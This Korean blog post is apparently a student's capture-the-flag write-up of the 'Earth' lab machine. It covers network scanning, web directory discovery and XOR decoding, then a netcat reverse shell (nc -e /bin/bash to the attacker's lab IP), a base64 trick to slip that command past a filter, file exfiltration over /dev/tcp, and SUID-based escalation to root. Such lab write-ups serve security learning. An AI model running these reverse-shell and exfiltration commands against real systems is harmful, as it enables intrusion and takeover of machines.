CTF

[8월 21일] CTF_Earth

ljm 2025. 8. 21. 17:39

CTF(Capture The Flag)

 

1. 정보 수집 및 취약점 수집

arp-scan, nmap, netdiscover, fping 등

gobuster, disbuster, dirsearch, dirb, dirsearch, owasp zaproxy 등

 

2. 취약점 분석

3. 모의 해킹

netcat

4. 대응 방안

5. 모의 해킹 결과보고서

 

대응 방안 적용

적용 후 모니터링

적용 결과 보고서

주기적인 모니터링


Earth.ova 파일 가상머신에 가져오기

Kali 접속 (192.168.16.212)

 

IP 주소 확인: netdiscover 또는 nmap과 같은 도구를 사용해 Earth VM의 IP 주소 찾기

@kali
netdiscover -r 192.168.16.0/24

 

 

 

포트 스캔: nmap을 사용해 열려있는 포트와 실행 중인 서비스를 확인한다. 일반적으로 SSH(22번)와 HTTP(80번) 포트가 오픈상태

nmap -sV -sC 192.168.16.87 -p-

 

웹 취약점 분석: 열려있는 HTTP 서비스를 탐색한다. SSL 인증서에 숨겨진 호스트 이름(earth.local, terratest.earth.local)을 찾아 /etc/hosts 파일에 추가해야 한다.

https://192.168.16.87 접속

 

 

숨겨진 호스트 이름을 etc/hosts 파일에 추가하여 매핑

vi /etc/hosts
192.168.16.87 earth.local
192.168.16.87 terratest.earth.local

/etc/hosts 에 earth.local 추가
earth.local 접속

 

 

 

terratest.earth.local 접속
https://terratest.earth.local은 완전히 다른 모습
임의의 메시지 입력 후 전송

 

wordlists 내부

 

 

# 자주 사용하는 웹 디렉토리 이름이나 파일이름을 a~z 순으로 정렬된 txt파일
cat /usr/share/wordlists/dirb/common.txt

 

 

#website scan
dirb http://earth.local

 

 

type="hidden"

 

 

 

robots.txt 파일 확인: 웹사이트에서 숨겨진 디렉터리나 파일이 있는지 robots.txt를 확인한다.

 

 

디렉터리/파일 스캔: gobuster와 같은 도구로 숨겨진 디렉터리나 파일을 스캔하여 중요한 정보를 찾는다. 사진처럼 testingnotes.txt와 같은 파일을 발견할 수 있다.

 

 

 

 

 

 

 

암호화 분석: 발견된 파일(예: testingnotes.txt)에서 XOR 암호화에 대한 힌트와 키(key) 값을 얻는다. 이를 이용해 메시지 서비스에서 암호화된 메시지를 해독한다.

XOR Key 값에는 testdata.txt의 값을 넣고 Input에는 earth.local의 메세지 값을 입력

 

 

 

 

 

최종 목표는 이 웹 셸을 통해 안정적인 **리버스 셸(reverse shell)**을 얻는 것이다. 리버스 셸은 공격자의 PC에서 대상 서버로 접속하는 것이 아니라, 대상 서버가 공격자의 PC로 접속하도록 하여 방화벽을 우회하는 기술이다.

 

 

 

 

 

 

 

 

ssh passwd가 permission denied

 

 

#netcat

@kali
nc -lvnp 4444

@firefox_cmd
nc -e /bin/bash 192.168.16.212 4444

listening 되지않음

 

nc -e /bin/bash 192.168.16.212 4444

 

@kali
# base64 방식으로 인코딩

echo 'nc -e /bin/bash 192.168.16.87 4444' | base64

 

@firefox_cmd

# base64 방식으로 디코딩

echo '&&&&&&&&&' | base64 -d bash

-> kali에서 listening 4444 연결된것을 확인

 

 

@kali_listening 4444

whoami
apache
pwd
/
ls /var/earth_web
db.sqlite3
earth_web
manage.py
secure_message
user_flag.txt
sudo -l
find / -perm -u=s -type f 2>/dev/null

ls -l /usr/bin/passwd
-rwsr-xr-x 1 root root ...

/usr/bin/reset_root
RESET FAILED, ALL TRIGGERS ARE NOT PRESENT.

 

 

@firefox_cmd
cat /usr/bin/reset_root > /dev/tcp/192.168.16.212 3333

 

4444에서 3333 연결

@firefox_cmd 4444
cat /usr/bin/reset_root > /dev/tcp/192.168.16.212/3333

@firefox_cmd 3333
file reset_root

chmod 777 reset_root
ltrace ./reset_root
checking..
access.. 

@firefox_cmd 4444
touch /dev/shm/kHgTFI5G
touch /dev/shm/zvsEvu#
touch /tmp/kaeovW
/usr/bin/reset_root
Root password to : Earth

su root
Earth
whoami
root
pwd
/
cat root_flag.txt

 

'CTF' 카테고리의 다른 글

[9월 2일] CTF_Mercury  (0) 2025.09.02
[9월 1일] CTF_Grotesque  (0) 2025.09.01
[9월 1일] CTF_Matrix-Breakout: 2 Morpheus  (0) 2025.09.01
[8월 25일] CTF_Breakout  (0) 2025.08.25
[8월 25일] CTF_EvilBox  (0) 2025.08.25